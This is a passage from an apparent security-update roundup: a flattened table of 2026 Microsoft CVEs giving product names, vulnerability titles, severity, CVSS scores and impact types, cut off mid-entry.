CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  